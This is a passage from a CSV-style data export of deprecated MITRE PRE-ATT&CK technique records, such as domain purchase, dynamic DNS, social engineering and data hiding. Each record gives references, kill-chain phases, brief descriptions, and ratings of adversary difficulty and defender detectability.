adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1296', 'external_id': 'T1296'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}, {'source_name': 'EverstineAirStrikes', 'description': ""Brian Everstine. (2015, June 04). Carlisle: Air Force intel uses ISIS 'moron's' social media posts to target airstrikes. Retrieved March 9, 2017.""}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1296,mitre-pre-attack,T1296,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess targeting options,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296). - -An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)",attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92,attack-pattern,['people-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1073,"Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).",Yes,"Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1386', 'url': 'https://attack.mitre.org/techniques/T1386'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1386,mitre-pre-attack,T1386,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Authorized user performs requested cyber action,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)",attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa,attack-pattern,['compromise'],2020-10-14T01:53:27.989Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1163,"Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",Yes,Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1328', 'external_id': 'T1328'}, {'source_name': 'PWCSofacy2014', 'description': 'Tom Lancaster and Michael Yip. (2014, December 05). APT28: Sofacy? So-funny.. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1328,mitre-pre-attack,T1328,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Buy domain name,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328). - -Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)",attack-pattern--45242287-2964-4a3e-9373-159fad4d8195,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1105,"Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka ""domain typosquatting"" or homoglyphs).",Yes,This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1312', 'external_id': 'T1312'}, {'source_name': 'WateringHole2014', 'description': 'Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.'}, {'source_name': 'FireEye Operation SnowMan', 'description': 'Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1312,mitre-pre-attack,T1312,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise 3rd party infrastructure to support delivery,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312). - -Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)",attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1089,"Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",Yes,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,No, -"[{'external_id': 'T1226', 'url': 'https://attack.mitre.org/techniques/T1226', 'source_name': 'mitre-pre-attack'}, {'description': 'Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.', 'source_name': 'LowenthalCh4'}, {'description': 'Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.', 'source_name': 'KIT-Herring'}]","[{'phase_name': 'priority-definition-planning', 'kill_chain_name': 'mitre-pre-attack'}]",1.0,,https://attack.mitre.org/techniques/T1226,mitre-pre-attack,T1226,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct cost/benefit analysis,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226). - -Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)",attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1003,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1376', 'url': 'https://attack.mitre.org/techniques/T1376'}, {'description': 'Chris Johnston. (2015, February 5). Company loses $17m in email scam. Retrieved March 9, 2017.', 'source_name': '17millionScam'}, {'description': 'Robert Hackett. (2015, August 10). Fraudsters duped this company into handing over $40 million. Retrieved March 9, 2017.', 'source_name': 'UbiquityEmailScam'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1376,mitre-pre-attack,T1376,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct social engineering or HUMINT operation,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)",attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0,attack-pattern,['launch'],2020-03-30T14:16:46.619Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1153,"Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",Yes,"Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1355', 'external_id': 'T1355'}, {'source_name': 'BadUSB', 'description': 'Security Research labs. (n.d.). BadUSB Exposure. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1355,mitre-pre-attack,T1355,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create infected removable media,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355). - -Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)",attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1132,Several exploit repositories and tool suites exist for re-use and tailoring.,Yes,"Adversary will likely use code repositories, but development will be performed on their local systems.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1320', 'external_id': 'T1320'}, {'source_name': 'BotnetsDNSC2', 'description': 'Christian J. Dietrich, Christian Rossow, Felix C. Freiling, Herbert Bos, Maarten van Steen, Norbert Pohlmann. (2011). On Botnets that use DNS for Command and Control. Retrieved March 6, 2017.'}, {'source_name': 'HAMMERTOSS2015', 'description': 'FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.'}, {'source_name': 'DNS-Tunnel', 'description': 'Alexey Shulmi and Sergey Yunakovsky. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1320,mitre-pre-attack,T1320,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Hiding,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320). - -Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)",attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1097,This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.,No,"Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1245', 'external_id': 'T1245'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}, {'source_name': 'WITCHCOVEN2015', 'description': 'Jonathan Wrolstad and Barry Vengerik. (2015, November). Pinpointing Targets: Exploiting Web Analytics to Ensnare Victims. Retrieved March 5, 2017.'}, {'source_name': 'JP3-60', 'description': 'Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'}, {'source_name': 'JP3-12R', 'description': 'Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'}, {'source_name': 'DoD Cyber 2015', 'description': 'Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'target-selection'}]",1.0,,https://attack.mitre.org/techniques/T1245,mitre-pre-attack,T1245,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine approach/attack vector,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245). - -The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93,attack-pattern,['target-selection'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1022,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,Yes,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1243', 'external_id': 'T1243'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}, {'source_name': 'JP3-60', 'description': 'Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'}, {'source_name': 'JP3-12R', 'description': 'Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'}, {'source_name': 'DoD Cyber 2015', 'description': 'Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'target-selection'}]",1.0,,https://attack.mitre.org/techniques/T1243,mitre-pre-attack,T1243,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine highest level tactical element,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243). - -From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9,attack-pattern,['target-selection'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1020,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,Yes,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1227', 'external_id': 'T1227'}, {'source_name': 'Herring1999', 'description': 'Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1227,mitre-pre-attack,T1227,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Develop KITs/KIQs,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227). - -Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)",attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1004,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1394', 'external_id': 'T1394'}, {'source_name': 'PA XcodeGhost', 'description': 'Claud Xiao. (2015, September 17). Novel Malware XcodeGhost Modifies Xcode, Infects Apple iOS Apps and Hits App Store. Retrieved April 12, 2017.'}, {'source_name': 'Reflections on Trusting Trust', 'description': 'Ken Thompson. (1984, August). Reflections on Trusting Trust. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1394,mitre-pre-attack,T1394,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Distribute malicious software development tools,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394). - -An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)",attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1171,"The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.",No,"Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1333', 'external_id': 'T1333'}, {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1333,mitre-pre-attack,T1333,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic DNS,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333). - -Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)",attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1110,It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.,Yes,Defender will not know at first use what is valid or hostile traffic without more context.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1344', 'external_id': 'T1344'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1344,mitre-pre-attack,T1344,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Friend/Follow/Connect to targets of interest,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344). - -Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)",attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1121,"The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.",Yes,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1385', 'url': 'https://attack.mitre.org/techniques/T1385'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}, {'description': 'Taylor Armerding. (2012, October 25). Line blurs between insider, outsider attacks. Retrieved March 9, 2017.', 'source_name': 'CSOInsideOutside'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1385,mitre-pre-attack,T1385,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Human performs requested action of physical nature,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)",attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8,attack-pattern,['compromise'],2020-10-14T01:53:28.015Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1162,"Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",Yes,Non-hypersensing environments do not typically collect this level of detailed information.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1225', 'external_id': 'T1225'}, {'source_name': 'ODNIIntegration', 'description': 'Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.'}, {'source_name': 'ICD115', 'description': 'Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1225,mitre-pre-attack,T1225,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify gap areas,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225). - -Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)",attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1002,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1269', 'external_id': 'T1269'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1269,mitre-pre-attack,T1269,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify people of interest,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269). - -The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)",attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1046,"Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.",Yes,"Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1276', 'external_id': 'T1276'}, {'source_name': 'SmithSupplyChain', 'description': 'Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'}, {'source_name': 'CERT-UKSupplyChain', 'description': 'CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1276,mitre-pre-attack,T1276,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify supply chains,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276). - -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)",attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1053,"Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",No,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1256', 'external_id': 'T1256'}, {'source_name': 'NMAP WAF NSE', 'description': 'Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 